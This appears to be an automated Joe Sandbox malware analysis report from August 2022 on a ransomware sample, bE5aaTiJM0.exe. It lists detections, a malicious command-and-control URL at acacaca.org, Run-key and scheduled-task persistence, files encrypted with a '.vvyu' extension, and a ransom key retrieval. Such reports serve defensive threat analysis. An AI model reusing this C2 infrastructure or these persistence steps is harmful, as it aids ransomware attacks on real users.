9.0.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
7.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
11.0.bE5aaTiJM0.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
9.0.bE5aaTiJM0.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
11.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
10.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
9.0.bE5aaTiJM0.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.0.bE5aaTiJM0.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
9.0.bE5aaTiJM0.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
2.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
16.0.bE5aaTiJM0.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.0.bE5aaTiJM0.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
0.2.bE5aaTiJM0.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
16.0.bE5aaTiJM0.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
2.0.bE5aaTiJM0.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
12.0.bE5aaTiJM0.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
11.0.bE5aaTiJM0.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
12.0.bE5aaTiJM0.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
16.0.bE5aaTiJM0.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1229097	Download File
11.0.bE5aaTiJM0.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
16.0.bE5aaTiJM0.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.0.bE5aaTiJM0.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File

Domains

Source	Detection	Scanner	Label	Link
acacaca.org	17%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://acacaca.org/test2/get.php	18%	Virustotal		Browse
http://acacaca.org/test2/get.php	100%	Avira URL Cloud	malware
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
https://we.tl/t-QsoSRIeA	0%	Avira URL Cloud	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://acacaca.org/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	100%	Avira URL Cloud	malware
https://we.tl/t-QsoSRIeAK6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.2ip.ua	162.0.217.254	true	false		high
acacaca.org	58.235.189.192	true	true	17%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://acacaca.org/test2/get.php	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://acacaca.org/test2/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	true	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	bE5aaTiJM0.exe, 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.nytimes.com/	bE5aaTiJM0.exe, 0000000C.00000003.544406916.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/A	bE5aaTiJM0.exe, 0000000C.00000003.617951064.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619149998.00000000008A2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsondllZ	bE5aaTiJM0.exe, 0000000B.00000002.436219532.0000000000778000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	bE5aaTiJM0.exe, 0000000C.00000003.547069468.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://we.tl/t-QsoSRIeA	bE5aaTiJM0.exe, 0000000C.00000003.617923119.0000000000909000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619591429.0000000000909000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	bE5aaTiJM0.exe, 0000000C.00000003.546297954.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.amazon.com/	bE5aaTiJM0.exe, 0000000C.00000003.538674983.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.live.com/	bE5aaTiJM0.exe, 0000000C.00000003.543541001.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonJ	bE5aaTiJM0.exe, 0000000B.00000002.436250212.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonj	bE5aaTiJM0.exe, 0000000B.00000002.436250212.00000000007A2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	bE5aaTiJM0.exe, 0000000C.00000003.545161091.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.twitter.com/	bE5aaTiJM0.exe, 0000000C.00000003.545804124.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/S	bE5aaTiJM0.exe, 0000000B.00000002.436291517.00000000007BD000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonG	bE5aaTiJM0.exe, 00000010.00000002.448461853.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/U	bE5aaTiJM0.exe, 0000000B.00000002.436291517.00000000007BD000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000B.00000003.435286392.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-QsoSRIeAK6	bE5aaTiJM0.exe, 0000000C.00000002.619614591.0000000000914000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000002.619400903.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.618130988.00000000008F1000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617889344.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, bE5aaTiJM0.exe, 0000000C.00000003.617644288.0000000000914000.00000004.00000020.00020000.00000000.sdmp, _readme.txt.12.dr, _readme.txt0.12.dr	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	bE5aaTiJM0.exe, 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.google.com/	bE5aaTiJM0.exe, 0000000C.00000003.542183889.00000000033C0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.0.217.254	api.2ip.ua	Canada		35893	ACPCA	false
58.235.189.192	acacaca.org	Korea Republic of		9318	SKB-ASSKBroadbandCoLtdKR	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	679172
Start date and time: 05/08/202211:21:08	2022-08-05 11:21:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 41s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	bE5aaTiJM0.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@18/215@6/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 91.8% (good quality ratio 84.9%) Quality average: 79.8% Quality standard deviation: 31%
HCA Information:	Successful, ratio: 73% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (whitelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, login.live.com, store-images.s-microsoft.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:22:27	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe s>--Task
11:22:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart
11:22:36	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe" --AutoStart

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.916126946588284
Encrypted:	false
SSDEEP:	3:/FnIkgEWsEERacyn:/dIyocyn
MD5:	9ADBB8FCA8C82C65BE1D9941119041F8
SHA1:	4EB27D9087FE7C1BEAABEC8BF2B7861708F9B597
SHA-256:	1D62E5001D5BA48A9F06F9FE578F8A1682662141C3C2FDA67886A1E944AF8C3D
SHA-512:	D84C695C2771CFB21CBCD0FB64D0ACCCC4357C48A3687E4EF8CECE6BA1B67BC56CED8929B45CCF0988BD02F7841C2CFE084FFB2E54C7EDBB2D114E4A0442A7D1
Malicious:	false
Reputation:	low
Preview:	0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	modified
Size (bytes):	462
Entropy (8bit):	7.429766651505533
Encrypted:	false
SSDEEP:	12:5INKHGQivAF20BZc83Gijj8fgLMEFQruH2Hpzkscii9a:524E03t2W8oLFQruWSsbD
MD5:	4556CF625658B0008817BBC7ACD4977E
SHA1:	CCE1F6B6207B0E0ADE6D923E6C4BF013D505C1C7
SHA-256:	D0F9FDB6DE503A717BB494BDE897F9B11DE38AD42A16CD00314A38D90F8F7602
SHA-512:	EF108C6EC5A68C45DE2D4E0C19916332FB8FA1C5D5A62201AC34B1EFDB0E342E62D0D15BC3A68152FBD6F5A6F5B7A662C8218591E49B57FF74D9B2A26C9AD242
Malicious:	false
Reputation:	low
Preview:	2019/.2 .mi.d,.[........f....H.\|...W@;...#Wy.....S.DQG....t~6r+....}{..bShrwf....R.LZf....m~.-.Z..:.J.At.y....22..3=..K4.0Z]....4....q.".VZF.....d...Z.....g...n(.T.+mV.mD.F5+..>.DwXb..._........v.{....W-..Q.Z.....O..9.h.....6.Pp.-.\.77..O.lj..4.o.......x.\|fC18.p8{-F..k.\|:*.3..O.1i"'.%..-H.u..<.YU....G...v....e.e...M.<}.vO-.=...2y#.=.b....c..g.....6=?..!k.Y....S._p0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	462
Entropy (8bit):	7.429766651505533
Encrypted:	false
SSDEEP:	12:5INKHGQivAF20BZc83Gijj8fgLMEFQruH2Hpzkscii9a:524E03t2W8oLFQruWSsbD
MD5:	4556CF625658B0008817BBC7ACD4977E
SHA1:	CCE1F6B6207B0E0ADE6D923E6C4BF013D505C1C7
SHA-256:	D0F9FDB6DE503A717BB494BDE897F9B11DE38AD42A16CD00314A38D90F8F7602
SHA-512:	EF108C6EC5A68C45DE2D4E0C19916332FB8FA1C5D5A62201AC34B1EFDB0E342E62D0D15BC3A68152FBD6F5A6F5B7A662C8218591E49B57FF74D9B2A26C9AD242
Malicious:	false
Reputation:	low
Preview:	2019/.2 .mi.d,.[........f....H.\|...W@;...#Wy.....S.DQG....t~6r+....}{..bShrwf....R.LZf....m~.-.Z..:.J.At.y....22..3=..K4.0Z]....4....q.".VZF.....d...Z.....g...n(.T.+mV.mD.F5+..>.DwXb..._........v.{....W-..Q.Z.....O..9.h.....6.Pp.-.\.77..O.lj..4.o.......x.\|fC18.p8{-F..k.\|:*.3..O.1i"'.%..-H.u..<.YU....G...v....e.e...M.<}.vO-.=...2y#.=.b....c..g.....6=?..!k.Y....S._p0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\7D5KIW2V\www.msn[1].xml

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.2647723039529595
Encrypted:	false
SSDEEP:	6:3hb6lrc4LmRq6P9Yew5+fwZqKwibyrqqK1mKho4PX2e7jHqH6yLrQCdIyocksciD:3N6lrXL/6POq9imK1mKn/28rgQQksciD
MD5:	87DE54805C9939D406CC3E86612FACB6
SHA1:	88B567C9748B3294EECF751AE600A515111E659F
SHA-256:	15AF2AE64D935A611BB9E29A0DC6BF56D9FA5DD3DF92DE9BB33CC2B9EB0383FB
SHA-512:	469512B6D5DB2746724E10361327B3112209EAF2F38DD54C2301096ED17A01F5344C07C6A757C43ACC71EDFBD67ED9539C27587C50AB1294C28DD44E77038183
Malicious:	false
Reputation:	low
Preview:	<root.`+?..T.g.....M...vw^.ZK.(.\.tp.1)q....A.Q.a.:.....u.C...q.......Q.k..Q....cAA.q.....2...-...!e..._..;k3..%;...n....I,....9.Ooi.a@T..e7.......B..q..Y.s..$....)...Z..c.Blc..{...\..wo.DNc,....Q.Q..q...+..,,...7...~....2"_.V.^.....A...,...54m._..R8.&0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\7D5KIW2V\www.msn[1].xml.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.2647723039529595
Encrypted:	false
SSDEEP:	6:3hb6lrc4LmRq6P9Yew5+fwZqKwibyrqqK1mKho4PX2e7jHqH6yLrQCdIyocksciD:3N6lrXL/6POq9imK1mKn/28rgQQksciD
MD5:	87DE54805C9939D406CC3E86612FACB6
SHA1:	88B567C9748B3294EECF751AE600A515111E659F
SHA-256:	15AF2AE64D935A611BB9E29A0DC6BF56D9FA5DD3DF92DE9BB33CC2B9EB0383FB
SHA-512:	469512B6D5DB2746724E10361327B3112209EAF2F38DD54C2301096ED17A01F5344C07C6A757C43ACC71EDFBD67ED9539C27587C50AB1294C28DD44E77038183
Malicious:	false
Reputation:	low
Preview:	<root.`+?..T.g.....M...vw^.ZK.(.\.tp.1)q....A.Q.a.:.....u.C...q.......Q.k..Q....cAA.q.....2...-...!e..._..;k3..%;...n....I,....9.Ooi.a@T..e7.......B..q..Y.s..$....)...Z..c.Blc..{...\..wo.DNc,....Q.Q..q...+..,,...7...~....2"_.V.^.....A...,...54m._..R8.&0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

Download File

Process:	C:\Users\user\Desktop\bE5aaTiJM0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	747520
Entropy (8bit):	7.842662742823055
Encrypted:	false
SSDEEP:	12288:nCqmkJm0QpmFRBBAw356C94EnhtoLWBEmlCW85h1bmyA5qKyr3ty+SqOhUII84ko:n410QpmfBB5UEnhtjroWW/Hro+TICktO
MD5:	5FAE11A9DDB49452B6896FD3217E9665
SHA1:	A642378099D0AC4E1DC3E0ABE98B12BEE1992E1D
SHA-256:	12471D61DC844208BDBE23A9749980CF1A40AD45F844449AFE55FB0F1CBBDA0B
SHA-512:	8244571AB072B89FE10C6C8A78B0F3B62C6833054D40B327C51583CC247D1E13F8DBF4E8367CE3672A5C5C14DE8B53FCC7969BB6D78F4232EBEBE77D460768AC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ADS. .. .. ..V... ..V... ..X... .. +.` ..V... ..V... ..V... .Rich. *.........................PE..L..."V.`.................^..........@........p....@..................................s......................................\|b..<.......h........................... ...............................`6..@............................................text...^].......^.................. ..`.data....a...p...0...b..............@....rsrc...h...........................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\bE5aaTiJM0.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.98515533528851
Encrypted:	false
SSDEEP:	12:YGJ68tJgjMwilsclN1PT9zzERMKaK7pbYMfWs55Ye4:YgJQj5ilpZcRMFK7ZfWs5y1
MD5:	E28EA360ADF843B25857121C75727222
SHA1:	3057D351207FC31F4ADB043DF329F7EE9D452F6C
SHA-256:	95216732A5BBBA1CC2D2A814ABDA7C656A0411280AE954474A0ABC2F63D2678E
SHA-512:	63010028C7C239D29048A4EEED91614FA13E276E42BB8B851583106F401F3630BFA69E1DDAC4A4D49CC2B71AB2CA690D746CD6788A680278AF63324AEA92F018
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0WwY79IFZHZrRTX+vM3Y\\n8vLG5Fnx04RdRkdPzflUpeIp+QciBK3E+9VTqWRNYgX7ZXz1zQ1a8RYyZS57f+G7\\no5ou33dQpTxjxaokVKMxSGDR7G7t2F+PjWGtcHWfu\/QEkGHsncNheEAky6zLik2o\\nM1lYi33LUE8aALATOcdYB5QhLJd1ScsJ3c4\/uYr4EpaMSkIiyi\/PSyExYcKuB9cG\\ncc+8IPQv3D\/OjBHprAVJz1i+hPzn24maQ77r60n49y\/S3kPh58U7BRGaqwoCj+TZ\\nvVl+uzb++io3bEdL+ynNOPPz+\/FKvSWzNUR+uR+jQrJ36dhsqnTsto\/RELO4Rj5h\\nKQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA"}

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	561
Entropy (8bit):	5.98515533528851
Encrypted:	false
SSDEEP:	12:YGJ68tJgjMwilsclN1PT9zzERMKaK7pbYMfWs55Ye4:YgJQj5ilpZcRMFK7ZfWs5y1
MD5:	E28EA360ADF843B25857121C75727222
SHA1:	3057D351207FC31F4ADB043DF329F7EE9D452F6C
SHA-256:	95216732A5BBBA1CC2D2A814ABDA7C656A0411280AE954474A0ABC2F63D2678E
SHA-512:	63010028C7C239D29048A4EEED91614FA13E276E42BB8B851583106F401F3630BFA69E1DDAC4A4D49CC2B71AB2CA690D746CD6788A680278AF63324AEA92F018
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0WwY79IFZHZrRTX+vM3Y\\n8vLG5Fnx04RdRkdPzflUpeIp+QciBK3E+9VTqWRNYgX7ZXz1zQ1a8RYyZS57f+G7\\no5ou33dQpTxjxaokVKMxSGDR7G7t2F+PjWGtcHWfu\/QEkGHsncNheEAky6zLik2o\\nM1lYi33LUE8aALATOcdYB5QhLJd1ScsJ3c4\/uYr4EpaMSkIiyi\/PSyExYcKuB9cG\\ncc+8IPQv3D\/OjBHprAVJz1i+hPzn24maQ77r60n49y\/S3kPh58U7BRGaqwoCj+TZ\\nvVl+uzb++io3bEdL+ynNOPPz+\/FKvSWzNUR+uR+jQrJ36dhsqnTsto\/RELO4Rj5h\\nKQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"0kP6vOoEdBm9p2ITHS3ppg85iRBRKnEdtqfNfpPA"}

C:\Users\user\Desktop\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838091898192101
Encrypted:	false
SSDEEP:	24:7S1harhX7g7BAOHV1ZNZO1pAqq1+BL1zmgCAQBOV2V83iQOIASsbD:78aLYBZV1ZeAoBLdmBFOcV83iAmD
MD5:	BFD014A3F34DBE4CD40F7F75519ADD79
SHA1:	81B5FC1CE83D7AA1FB446C8E1075D087E4B77D74
SHA-256:	4C7DF2C80F706EF125844F051BAA8F8AF8F40C965810538BF14F975CCF8871FE
SHA-512:	6161EA8D765DAB935FD05DD718F175DD93F99725BDFBC7626BC6CA181E99083ADE11DA6BD43AD27D1723795F7B428EF321939A31A3C56B17BA2F7C32394529EE
Malicious:	false
